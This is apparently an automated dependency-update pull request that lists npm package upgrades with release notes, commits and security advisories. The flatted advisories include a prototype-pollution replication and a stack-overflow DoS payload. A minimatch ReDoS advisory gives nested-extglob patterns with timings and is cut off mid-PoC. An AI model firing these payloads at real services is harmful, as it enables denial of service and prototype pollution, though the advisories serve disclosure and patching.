- The benchmark now uses the public package bencho instead of an in-house implementation. You may want to try this solution for your packages and provide feedback.
๐ฅ New Contributors
- @josh-hemphill made their first contribution in #383
- @mairaw made their first contribution in #401
3.2.12
Full Changelog: 3.2.11...3.2.12
๐ Bug fixesFixed an issue introduced in
3.2.7related to incorrect application of patterns to entries with a trailing slash when the entry is not a directory.Before changes:
fg.sync('**/!(*.md)') // ['file.md', 'a/file.md', 'a/file.txt']After fix:
fg.sync('**/!(*.md)') // ['a/file.txt']Thanks @AgentEnder for the issue (#357).
๐ ImprovementsThis release includes performance improvements for the asynchronous method. For this method we now use an asynchronous directory traversal interface instead of using a streaming interface. This gives up to 15% acceleration for medium and large directories. The result depends a lot on hardware.
You can find the benchmark results for this release in CI here.
Here are a few of measurements on my laptop:
===> Benchmark pattern "*" with 100 launches (regression, async) ===> Max stdev: 7 | Retries: 3 | Options: {} Name Time, ms Time stdev, % Memory, MB Memory stdev, % Entries Errors Retries --------------------- -------- ------------- ---------- --------------- ------- ------ ------- fast-glob-current.js 4.390 0.252 6.253 0.015 4 0 1 fast-glob-previous.js 5.653 0.633 6.051 0.056 4 0 1 ===> Benchmark pattern "**" with 100 launches (regression, async) ===> Max stdev: 7 | Retries: 3 | Options: {} Name Time, ms Time stdev, % Memory, MB Memory stdev, % Entries Errors Retries --------------------- -------- ------------- ---------- --------------- ------- ------ ------- fast-glob-current.js 34.587 1.287 10.654 0.607 11835 0 1 fast-glob-previous.js 41.972 2.086 10.236 1.224 11835 0 1
3.2.11
Full Changelog: 3.2.10...3.2.11
๐ Bug fixesYeap, this is another release aimed at fixing problems with detecting brace expansions in patterns. This time, patterns like
abc/{a.txt,b.js}was not marked as a dynamic pattern. So, now the regex has been rewritten to a generalized solution as a function to avoid future problems due to the complexity of the regular expression.
3.2.10
Full Changelog: 3.2.9...3.2.10
๐ Bug fixes
- Fixed a regression in
3.2.8when the{a,b,c}pattern no longer considered a dynamic pattern (thanks @amitdahan, #347).
๐ฅ New Contributors
- @amitdahan made their first contribution in #348
3.2.9
Full Changelog: 3.2.8...3.2.9
๐ Bug fixes
- Fixed a regression in
3.2.8with invalid regular expression on older node.js versions (#345).
3.2.8
Full Changelog: 3.2.7...3.2.8
๐ Bug fixesFix directory matching with trailing slashes (#290)
Thanks @Trott for investigating the problem and the detailed description.
Previously the
src/*/pattern did not work as expected (likesrc/*).Double-slash in the middle of the pattern is not collapsed (#330)
Starting from this release, patterns like
src//*will work like similar patterns without duplicate slashes. This was done for continuity with other solutions (glob,ls src//*, python, golang, โฆ).Adjust inefficient regular expressions (#336, #342, #344)
Thanks @Trott for fixing bugs and @XhmikosR for adding the CodeQL action to CI pipeline.
๐ Documentation
- Some documentation improvements (#327, thanks @MarcelloTheArcane).
โ๏ธ Infrastructure
- The CodeQL action has been added to CI pipeline (#338, thanks @XhmikosR).
๐ฅ New Contributors
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ fastq (indirect, 1.11.1 โ 1.20.1) ยท Repo
Release Notes
1.20.1
What's Changed
- chore(package): explicitly declare js module type by @Fdawgs in #95
- feat: migrate from StandardJS to ESLint with neostandard by @mcollina in #98
- feat: add abort() method to settle pending tasks by @mcollina in #101
New Contributors
Full Changelog: v1.19.1...v1.20.1
1.19.1
What's Changed
- Bump nyc from 15.1.0 to 17.0.0 by @dependabot in #84
- add comments to type declarations by @qpwo in #92
- Do not run coverage on older nodes by @mcollina in #93
New Contributors
Full Changelog: v1.19.0...v1.19.1
1.19.0
What's Changed
New Contributors
Full Changelog: v1.18.0...v1.19.0
1.18.0
What's Changed
New Contributors
Full Changelog: v1.17.1...v1.18.0
1.17.1
What's Changed
Full Changelog: v1.17.0...v1.17.1
1.17.0
What's Changed
- Bump typescript from 4.9.5 to 5.0.4 by @dependabot in #68
- fix ci by @Uzlopak in #72
- add running to typescript definition by @Uzlopak in #71
- fix: unshift with worker throwing error (#77) by @aguegu in #78
- Consistently respect the configured concurrency by @mart-jansink in #81
New Contributors
- @dependabot made their first contribution in #68
- @Uzlopak made their first contribution in #72
- @aguegu made their first contribution in #78
- @mart-jansink made their first contribution in #81
Full Changelog: v1.15.0...v1.17.0
1.16.0
What's Changed
- Bump typescript from 4.9.5 to 5.0.4 by @dependabot in #68
- fix ci by @Uzlopak in #72
- add running to typescript definition by @Uzlopak in #71
- fix: unshift with worker throwing error (#77) by @aguegu in #78
New Contributors
- @dependabot made their first contribution in #68
- @Uzlopak made their first contribution in #72
- @aguegu made their first contribution in #78
Full Changelog: v1.15.0...v1.16.0
1.15.0
What's Changed
New Contributors
Full Changelog: v1.14.0...v1.15.0
1.14.0
What's Changed
- Update README on error callback expected behaviour by @giovanni-bertoncelli in #59
- fix(typings): pass generic type to error handler by @AVVS in #62
New Contributors
- @giovanni-bertoncelli made their first contribution in #59
- @AVVS made their first contribution in #62
Full Changelog: v1.13.0...v1.14.0
1.13.0
What's Changed
- feat: run to completion by @gillesdemey in #57
New Contributors
- @gillesdemey made their first contribution in #57
Full Changelog: v1.12.0...v1.13.0
1.12.0
What's Changed
Full Changelog: v1.11.1...v1.12.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 37 commits:
Bumped v1.20.1Merge branch 'master' of github.com:mcollina/fastqfix release notesBumped v1.20.0fixupAdded release scriptfeat: add abort() method to settle pending tasks (#101)feat: migrate from StandardJS to ESLint with neostandard (#98)chore(package): explicitly declare js module type (#95)Bumped v1.19.1Do not run coverage on older nodes (#93)add comments to type declarations (#92)Bump nyc from 15.1.0 to 17.0.0 (#84)Bumped v1.19.0Expose paused status flag (#91)Bumped v1.18.0fix: ensure drained() resolves after async tasks complete (#89)Create SECURITY.mdBumped v1.17.1Emit drain event after pause/resume combo (#82)Bumped v1.17.0Consistently respect the configured concurrency (#81)Bumped v1.16.0fix: unshift with worker throwing error (#77) (#78)add running to typescript definition (#71)fix ci (#72)Bump typescript from 4.9.5 to 5.0.4 (#68)Bumped v1.15.0fix: queueAsPromised.drained() resolves while queue is idle (#64)Bumped v1.14.0fix(typings): pass generic type to error handler (#62)Update README.md (#59)Bumped v1.13.0feat: run to completion (#57)Bumped v1.12.0Fire and forget promises (#54)Added node v16 to CI (#55)
โ๏ธ file-entry-cache (indirect, 6.0.1 โ 8.0.0) ยท Repo ยท Changelog
Release Notes
8.0.0
Removing support for Nodejs 10, 12, and 14
This is updating modules to the latest versions and supporting Nodejs
>=16moving forward with v8.0.0What's Changed
- removing support for nodejs 12 and 14 by @jaredwray in #43
Full Changelog: v7.0.2...v8.0.0
7.0.2
What's Changed
- removing del module as no longer needed by @jaredwray in #40
- upgrading flat-cache to 3.2.0 by @jaredwray in #41
Full Changelog: v7.0.1...v7.0.2
7.0.1
What's Changed
- upgrading flat-cache to 3.1.1 by @jaredwray in #37
- upgrading chai to 4.3.10 by @jaredwray in #38
- upgrading eslint to 8.50.0 and mocha plugin by @jaredwray in #39
Full Changelog: v7.0.0...v7.0.1
7.0.0
What's Changed
- upgrading chai and mocha to latest by @jaredwray in #32
- removing package-lock and setting tests to nodejs versions by @jaredwray in #33
- adding code coverage reporting via codecov by @jaredwray in #34
- updating tests for master by @jaredwray in #35
- removing support for Nodejs version 10 by @jaredwray in #36
Full Changelog: v6.0.1...v7.0.0
Does any of this look wrong? Please let us know.
โ๏ธ fill-range (indirect, 7.0.1 โ 7.1.1) ยท Repo
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ flat-cache (indirect, 3.0.4 โ 4.0.1) ยท Repo ยท Changelog
Release Notes
4.0.1
What's Changed
- removing rimraf as core dependency by @jaredwray in #87
- chore: run prettier separately from eslint by @uncenter in #88
- refactor: prefer let/const over var by @uncenter in #89
- upgrading c8 to 9.1.0 by @jaredwray in #92
- upgrading prettier to 3.2.4 by @jaredwray in #93
- upgrading moch to 10.3.0 by @jaredwray in #95
- removing parts of keyv as a dependency by @jaredwray in #97
New Contributors
Full Changelog: v4.0.0...v4.0.1
4.0.0
Major version release
To stay up to date with latest module dependencies we moved to supporting nodejs
>=16with this release. All other functionality stayed the same.What's Changed
- removing the testing on 21 by @jaredwray in #85
- removing support for node 10, 12, and 14 by @jaredwray in #86
Full Changelog: v3.2.0...v4.0.0
3.2.0
What's Changed
New Contributors
Full Changelog: v3.1.1...v3.2.0
3.1.1
What's Changed
- updating repo to use github actions and codecov by @jaredwray in #64
- updating mocha and chai by @jaredwray in #65
- adding in codecov badge by @jaredwray in #66
- upgrading flatted to 3.2.7 by @jaredwray in #67
- updating workflows with prs by @jaredwray in #71
- updating coverage reporting to work with codecov by @jaredwray in #72
- updating to show correct branch by @jaredwray in #73
- intoducing keyv to flat-cache - non invasive by @jaredwray in #74
- clean up of package.json by @jaredwray in #75
- upgrading chai to 4.3.10 by @jaredwray in #77
- upgrading flatted to 3.2.9 by @jaredwray in #78
New Contributors
- @jaredwray made their first contribution in #64
Full Changelog: v3.0.4...v3.1.1
Does any of this look wrong? Please let us know.
โ๏ธ flatted (indirect, 3.2.2 โ 3.4.2) ยท Repo
Security Advisories ๐จ
๐จ Prototype Pollution via parse() in NodeJS flatted
Summary
The parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index
keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it
with the key "__proto__" returns Array.prototype via the inherited getter. This object is then treated as a legitimate
parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype
to the consumer. Any code that subsequently writes to that property will pollute the global prototype.
Root Cause
File: esm/index.js:29 (identical in cjs/index.js)
const resolver = (input, lazy, parsed, $) => output => { for (let ke = keys(output), {length} = ke, y = 0; y < length; y++) { const k = ke[y]; const value = output[k]; if (value instanceof Primitive) { const tmp = input[value]; // Bug is hereNo validation that value is a safe numeric index input is built as a plain Array. JavaScript's property lookup on arrays traverses the prototype chain for non-numeric keys. The key "__proto__" resolves to Array.prototype, which:
- has type "object" โ passes the typeof tmp === object guard at line 30
- is not in the parsed Set yet โ passes the !parsed.has(tmp) guard.
- The reference to Array.prototype is then enqueued in lazy and later unconditionally assigned to the output object.
Replication Steps
const Flatted = require('flatted'); const parsed = Flatted.parse('[{"x":"__proto__"}]'); parsed.x.polluted = 'pwned'; console.log([].polluted); // Returns true
Impact
An attacker can supply a crafted flatted string to parse() that causes the returned object to hold a live reference to Array.prototype, enabling any downstream code that writes to that property to pollute the global prototype chain, potentially causing denial of service or code execution.Recommended solution
Validate that the index string represents an integer within the bounds of input before accessing it:// Before (vulnerable)
const tmp = input[value];// After (safe)
const idx = +value; // coerce boxed String โ number
const tmp = (Number.isInteger(idx) && idx >= 0 && idx < input.length)
? input[idx]
: undefined;
๐จ flatted vulnerable to unbounded recursion DoS in parse() revive phase
Summary
flatted's
parse()function uses a recursiverevive()phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential$indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.Impact
Denial of Service (DoS). Any application that passes untrusted input to
flatted.parse()can be crashed by an unauthenticated attacker with a single request.flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
Proof of Concept
const flatted = require('flatted'); // Build deeply nested circular reference chain const depth = 20000; const arr = new Array(depth + 1); arr[0] = '{"a":"1"}'; for (let i = 1; i <= depth; i++) { arr[i] = `{"a":"${i + 1}"}`; } arr[depth] = '{"a":"leaf"}'; const payload = JSON.stringify(arr); flatted.parse(payload); // RangeError: Maximum call stack size exceededFix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive
revive()to a stack-based loop.Affected Versions
All versions prior to the PR #88 fix.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ get-stream (indirect, 6.0.1 โ 9.0.1) ยท Repo
Release Notes
9.0.1
9.0.0
Breaking
Improvements
8.0.1
Fixes
- Ensure
error.bufferedDatais as full as possible. (#106)- Fix the
maxBufferoption being one byte off in some edge case. (#105)
8.0.0
Huge thanks to @ehmicky for doing all the work for this release ๐
Breaking
- Remove the
encodingoption. (#69, #67)
- This package handles binary, UTF-8 and object streams.
- For other encodings like UTF-16, hexacimal and base64, please see the following tip. (#84)
- Methods like
buffer.toString('hex')orbuffer.toString('base64')can also be used.Improvements
- Support any JavaScript environment, including browsers. (#85)
- Support web streams (
ReadableStream). (#82, #78, #79, #80)- Support async iterables. (#69, #93)
- Add
getStreamAsArray()method to pass streams in object mode. (#86)- Add
getStreamAsArrayBuffer()method to return the stream as anArrayBuffer. (#81)- When the stream is larger than the maximum size for a string, buffer or
ArrayBuffer, seterror.bufferedDatawith the partially read data instead of leaving it empty. (#68, #48)Fixes
- Do not crash on big streams (with one/many GBs). (#66)
- Ensure
maxBufferstops infinite streams. (#62)- Stop consuming the streaming when hitting
maxBuffer. (#42, #69).- Set
error.bufferedDatawhen the stream errors for other reasons thanmaxBuffer. (#56, #63)- Ensure
error.bufferedDatais smaller thanmaxBuffer. (#89)TypeScript types
- The
streamargument must be aReadable,ReadableStreamorAsyncIterable. (#71)Documentation
- Add tips on alternatives,
Bloband JSON streaming. (#58, #95, #96, #97)Performance
- Do not block the event loop when the stream ends. (#92)
7.0.1
- Work around issue with handling large sizes e58d141
7.0.0
Breaking
- Require Node.js 16 70571f8
- This package is now pure ESM. Please read this.
- Removed
getStream.array()
- It complicated the codebase considerably and I personally never used it.
- You can use
readableStream.toArray()instead. Exampleconst getStream = require('get-stream'); getStream.buffer(โฆ);โimport {getStreamAsBuffer} from 'get-stream'; getStreamAsBuffer(โฆ);const getStream = require('get-stream'); getStream.MaxBufferError;โimport {MaxBufferError} from 'get-stream'; MaxBufferError;Tip
You may not need this package anymore.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 68 commits:
9.0.1Upgrade `ReadableStream[Symbol.asyncIterator]` ponyfill (#128)Upgrade ava (#127)Upgrade xo (#126)9.0.0Meta tweaksAdd browser entrypoint (#124)Remove use of `highWatermark` option (#125)Fix browser support (#122)Allow multiple readers at once (#121)Speed up test (#120)Add a test for async iterables (#118)Improve test utility (#117)Handle unusual error types (#115)Drop support for Node 16 (#111)8.0.1Ensure `error.bufferedData` is as full as possible (#106)Fix `maxBuffer` bug with `TextDecoder()` (#105)Refactor `getStreamAsArrayBuffer()` (#104)8.0.0Meta tweaksAdd test for `getStreamAsBuffer()` when `Buffer` is not available (#101)Fix `package.json` description (#99)Split into multiple files (#98)Document how to stream JSON arrays (#96)Add benchmarks (#94)Improve `Alternatives` documentation (#97)Document how to create `Blob`s (#95)Document support for async iterables (#93)Remove end-of-stream blocking (#92)Add more high-level tests (#91)Add tests for streams with several chunks (#90)Fix `bufferedData` being larger than `maxBuffer` (#89)Simplify `getStreamAsBuffer()` implementation (#88)Add support for streams in object mode (#86)Fix `error.bufferedData` with `getStreamAsArrayBuffer()` (#87)Support any JavaScript environment (#85)Document `TextDecoderStream` usage (#84)Small performance improvement (#83)Add support for `ReadableStream` (#82)Add `getStreamAsArrayBuffer()` method (#81)Add support for `ArrayBuffer` stream chunks (#80)Add support for `DataView` stream chunks (#79)Add support for `TypedArray` stream chunks (#78)Improve tests (#77)Add high-level tests (#76)Validate streams in object mode (#75)Fix UTF-8 sequences being split (#74)Improve first argument's validation (#73)Improve `readme.md` (#72)Improve TypeScript types (#71)Add a test for big chunks (#70)Truncate `error.bufferedData` if too large (#68)Remove `encoding` option (#69)Do not crash on big streams (#66)Add more tests related to the `encoding` option (#65)Remove `devDependency` (#64)Set `error.bufferedData` when stream errors (#63)Handle infinite streams (#62)Test `encoding` option (#59)Simplify `encoding` option (#60)Document `node:stream/consumers` (#58)Refactoring simplifying code (#57)7.0.1Work around issue with handling large sizes7.0.0Require Node.js 16 and move to ESMAdd reference to into-stream (#49)
โ๏ธ glob-parent (indirect, 5.1.2 โ 6.0.2) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ glob-parent 6.0.0 vulnerable to Regular Expression Denial of Service
glob-parent 6.0.0 is vulnerable to Regular Expression Denial of Service (ReDoS). This issue is fixed in version 6.0.1.
This vulnerability is separate from GHSA-ww39-953v-wcq6.
Release Notes
6.0.2
Bug Fixes
6.0.1
Bug Fixes
6.0.0
โ BREAKING CHANGES
- Correct mishandled escaped path separators (#34)
- upgrade scaffold, dropping node <10 support
Bug Fixes
Miscellaneous Chores
- upgrade scaffold, dropping node <10 support (e83d0c5)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
chore: release 6.0.2 (#54)chore: Run prettierfix: Improve performance (#53)chore: Run prettierchore: release 6.0.1 (#52)chore: Run prettierfix: Resolve ReDoS vulnerability from CVE-2021-35065 (#49)chore: Run prettierchore: release 6.0.0 (#41)fix!: Correct mishandled escaped path separators (#34)chore(ci): Upgrade coveralls action to 1.1.2chore(ci): Update workflowchore: fix typo in badgesBuild: Run prettierci: add release-please & cleanup actionschore!: upgrade scaffold, dropping node <10 support
โ๏ธ globals (indirect, 13.10.0 โ 17.7.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ globby (indirect, 12.0.0 โ 16.2.1) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ graceful-fs (indirect, 4.2.8 โ 4.2.11) ยท Repo
Commits
See the full diff on Github. The new version differs by 17 commits:
4.2.11Add EBUSY to handled error codes for windows directory renameupdate and improve tests somewhat4.2.10fix spurious ENOTEMPTY in test on windows ciavoid spurious EBUSY in windows CI testsci: output raw tap from testactually fix memory leak test failing spuriouslyfix memory leak test failing spuriouslydo not try to patch missing fs functionsAvoid setPrototypeOf if prototype is undefinedinstall with npm 8fix: fs.readdir() on ancient nodes that don't know about optionschore: add copyright year to licenseci: makework4.2.9fix(stat): support throwIfNoEntry for `statSync`
โ๏ธ has-flag (indirect, 4.0.0 โ 5.0.1) ยท Repo
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ human-signals (indirect, 2.1.0 โ 8.0.1) ยท Repo ยท Changelog
Release Notes
8.0.1
Documentation
- Improve documentation in
README.md
8.0.0
Breaking changes (types)
- The
SignalNumberandSignal['number']types in TypeScript are now stricter. They only allow valid signal numbers like 1 or 9. They do not allow invalid signal numbers like -1, 1.5 or 999. Please note that 0 is not considered a valid signal number, although it can be passed toprocess.kill().Types
- The
signalsByName[signalName]andsignalsByNumber[signalNumber]types in TypeScript are nowSignalinstead ofSignal | undefined. This means you can now dosignalsByName[signalName].descriptioninstead ofsignalsByName[signalName]!.description.
7.0.0
Breaking changes (types)
- The
SignalNameandSignal['name']types in TypeScript are now stricter. They only allow valid signal names like'SIGINT'. They do not allow lowercase signals like'sigint'nor unknown signals like'SIGOTHER'.
6.0.0
Breaking changes
- Minimal supported Node.js version is now
18.18.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ ignore (indirect, 4.0.6 โ 5.3.2) ยท Repo ยท Changelog
Release Notes
5.3.0
5.3.0
- MINOR export
Optionsinterface (#105)An upgrade is safe for all dependents
It allows typing external methods which expect
Optionsas a param, by importing theOptionsinterface.import {Options} from 'ignore'
5.2.4
- PATCH fixes normal single asterisk and normal consecutive asterisks defined in gitignore spec (#57)
- PATCH invalid trailing backslash will not throw unexpectedly
An upgrade is recommended for all dependents
The following rules could be not properly parsed with previous
ignoreversions**foo *bar qu*ux abc\ # `ignore` would throw if no whitespace after `\`
5.2.0
- PATCH support readonly arrays of typescript. (#70)
- MINOR bring backward compatibility with relative paths. (#75)
An upgrade is recommended for all dependents.
ignore().ignores('../foo/bar.js') // will throwAnd the code below will not throw, however it is not recommended
ignore({ allowRelativePaths: true }).ignores('../foo/bar.js')Recommend:
ignore().ignores('foo/bar.js')
5.1.9
- PATCH fixes
ignorecasewhen internal cache is hit. (#74)An upgrade is recommended for all dependents.
5.1.5
- PATCH fixes escaping for square brackets (#59)
An upgrade is recommended for all dependents.
5.1.1
- PATCH fixes
isPathValidon Windows (#54)On Windows, if
pathis an absolute path,ig.ignores(path),ig.test(path)and related methods will now throw an error as expected.
5.1.0
- FEATURE: Typescript: export interface Ignore (#53)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ irregular-plurals (indirect, 3.3.0 โ 3.5.0) ยท Repo
Release Notes
3.5.0
3.4.1
- Fix compatibility with bundlers fe4ec96
3.4.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ is-builtin-module (indirect, 3.1.0 โ 5.0.0) ยท Repo
Release Notes
5.0.0
Breaking
- Remove
punycodesince it's deprecatedImprovements
4.0.0
Breaking
- Require Node.js 18 52df82e
- This package is now pure ESM. Please read this.
- This package now matches based a static list of modules from the latest Node.js version. If you want to check for a module in the current Node.js (previous behavior), use the core
isBuiltinmethod.
3.2.1
3.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 10 commits:
โ๏ธ is-docker (indirect, 2.2.1 โ 3.0.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ is-glob (indirect, 4.0.1 โ 4.0.3) ยท Repo
Commits
See the full diff on Github. The new version differs by 8 commits:
โ๏ธ is-plain-obj (indirect, 1.1.0 โ 4.1.0) ยท Repo
Release Notes
4.1.0
4.0.0
Breaking
3.0.0
Breaking
- Require Node.js 10 1e18041
Breaking for TypeScript users
2.1.0
2.0.0
Breaking:
- Require Node.js 8 9748067
Enhancements:
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 24 commits:
4.1.0Improve performance (#16)Use `node:vm` instead of `vm` (#18)Add one example (#17)Add tests for JSON and Atomics (#15)Make it work across realms (#14)Add a test for `Object.create({})` (#13)Minor tweak4.0.0Require Node.js 12 and move to ESMMove to GitHub Actions3.0.0Require Node.js 10Make the TypeScript types stricter (#10)2.1.0Refactor: Use `Object.prototype` directly (#8)Tidelift tasksCreate funding.ymlAdd Node.js 12 to testing (#5)2.0.0Require Node.js 8Add TypeScript definition (#4)Require Node.js 6update tests for latest AVA version
โ๏ธ is-stream (indirect, 2.0.1 โ 4.0.1) ยท Repo
Release Notes
4.0.1
- Fix docs 022693d
3.0.0
Breaking
- Require Node.js 12.20 5831295
- This package is now pure ESM. Please read this.
- Changed from a default export to named exports.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ is-wsl (indirect, 2.2.0 โ 3.1.1) ยท Repo
Release Notes
3.1.1
- Fix detection of WSL with custom kernels 3846912
3.1.0
3.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ js-yaml (indirect, 3.14.1 โ 4.3.0) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ jsesc (indirect, 2.5.2 โ 3.1.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 18 commits:
Release v3.1.0Clean upfeat: support bigint (#71)Release v3.0.2feat: check for Buffer existence (#64)Release v3.0.1Tweak whitespace scriptEscape non-ASCII whitespace in minimal mode (#62)Release v3.0.0Remove problematic testAvoid old-school Buffer usage in testsRemove stray requireReplace string escaping with regex replace (#61)Test in modern versions of Node.jsUpdate test expectationRevert "Escape lone surrogates in minimal output (#59)"Escape lone surrogates in minimal output (#59)Fix typo
โ๏ธ line-column-path (indirect, 2.0.0 โ 4.0.0) ยท Repo
Release Notes
4.0.0
Breaking
- Require Node.js 20 ae838a7
Improvements
3.0.0
Breaking
- Require Node.js 12.20 8c5d1f2
- This package is now pure ESM. Please read this.
- Changed from a default export to named exports.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ lines-and-columns (indirect, 1.1.6 โ 1.2.4) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ log-symbols (indirect, 4.1.0 โ 7.0.1) ยท Repo
Release Notes
7.0.1
7.0.0
Breaking
- Switch from
chalktoyoctocolors(#34) ab7ca3d
- This is unlikely to affect anyone, but it's a major version just to be safe.
Improvements
6.0.0
Breaking
- Require Node.js 18 22e0d8c
Improvements
5.1.0
- Upgrade dependencies 2ee4f5d
5.0.0
Breaking
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 13 commits:
โ๏ธ meow (indirect, 10.1.1 โ 14.1.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 57 commits:
14.1.0Update dependenciesExport `AnyFlag` and `AnyFlags` typesAdd `commands` option for subcommand parsingImprove startup performanceAccept camelCase flags in strict modeAdd `input.isRequired` option to make input arguments required14.0.0Require Node.js 20Fix incorrect automatic number conversion for flag valuesRemove extraneous hard rejection note (#262)Copy type tests on build (#259)Clean up `description` parsing (#256)Remove hard rejection note in readme (#261)Make options required (#260)Remove `false` from `version` type, add fallback message (#258)Remove `null` from `booleanDefault` type (#257)Improve tests (#255)13.2.0Add `helpIndent` option (#241)13.1.0Meta tweaksRemove `hardRejection` option13.0.0Require Node.js 1812.1.1Fix TypeScript types (#245)12.1.0Readme tweakBundle dependencies (#242)Add Node.js 20 to CI matrix, update dependencies (#243)12.0.1Fix flag `default` values validation (#238)12.0.0Meta tweaksTarget Node 16 (#235)Separate `index.js` and `test.js` into different files (#234)Don't indent single line `help` / `description` text (#232)Add error when `flag.default` isn't a valid choice (#231)Provide JSDoc comments for flag properties (#230)Add `choices` option (#228)Add test for `unnormalizedFlags` with `aliases` (#227)Add `aliases` option (#226)Rename `alias` to `shortFlag` (#225)11.0.0Require Node.js 14Improve TypeScript types (#218)10.1.5Fix for custom config for help (#217)10.1.4Fix `autoHelp` and `autoVersion` with `allowUnknownFlags` set to false (#215)10.1.3Fix return type for `.showHelp()` (#213)Bump dev dependencies (#207)Fix readme typo10.1.2Fix `engines` field (#203)
โ๏ธ micromatch (indirect, 4.0.4 โ 4.0.8) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Regular Expression Denial of Service (ReDoS) in micromatch
The NPM package
micromatchprior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs inmicromatch.braces()inindex.jsbecause the pattern.*will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to #266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.
Commits
See the full diff on Github. The new version differs by 26 commits:
4.0.8run verb to generate README documentationMerge branch 'v4' into hauserkristof-feature/v4.0.8Merge pull request #266 from hauserkristof/feature/v4.0.8lintfix: CHANGELOG about braces & CVE-2024-4068, v4.0.5fix: CVE numbers in CHANGELOGfeat: updated CHANGELOGfix: use actions/setup-node@v4feat: rework test to work on macos with node 10,12 and 14fix: removed unused isObject functionfeat: backported CVE fix from 4.0.6 over to 4.0.7Release 4.0.7.Prepare for 4.0.7 with picomatch v2Update README.mdAdd sponsor to readme4.0.5 - Massive (100x) performance improvement of `micromatch.not()`, thanks to @joyceerhl at Microsoft.fix windows testsadd github workflows, upgrade depsMerge pull request #228 from antonyk/patch-1Merge pull request #229 from antonyk/patch-2Merge pull request #233 from joyceerhl/patch-1Use `Set.prototype.has` over `Array.prototype.includes`fix parse method's jsdocfix typo in docsRemove tidelift
โ๏ธ minimatch (indirect, 3.0.4 โ 10.2.5) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions
Summary
Nested
*()extglobs produce regexps with nested unbounded quantifiers (e.g.(?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern*(*(*(a|b)))and an 18-byte non-matching input,minimatch()stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the defaultminimatch()API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects+()extglobs equally.
Details
The root cause is in
AST.toRegExpSource()atsrc/ast.ts#L598. For the*extglob type, the close token emitted is)*or)?, wrapping the recursive body in(?:...)*. When extglobs are nested, each level adds another*quantifier around the previous group:: this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}`This produces the following regexps:
Pattern Generated regex *(a|b)/^(?:a|b)*$/*(*(a|b))/^(?:(?:a|b)*)*$/*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/These are textbook nested-quantifier patterns. Against an input of repeated
acharacters followed by a non-matching characterz, V8's backtracking engine explores an exponential number of paths before returningfalse.The generated regex is stored on
this.setand evaluated insidematchOne()atsrc/index.ts#L1010viap.test(f). It is reached through the standardminimatch()call with no configuration.Measured times via
minimatch():
Pattern Input Time *(*(a|b))ax30 +z~68,000ms *(*(*(a|b)))ax20 +z~124,000ms *(*(*(*(a|b))))ax25 +z~116,000ms *(a|a)ax25 +z~2,000ms Depth inflection at fixed input
ax16 +z:
Depth Pattern Time 1 *(a|b)0ms 2 *(*(a|b))4ms 3 *(*(*(a|b)))270ms 4 *(*(*(*(a|b))))115,000ms Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as
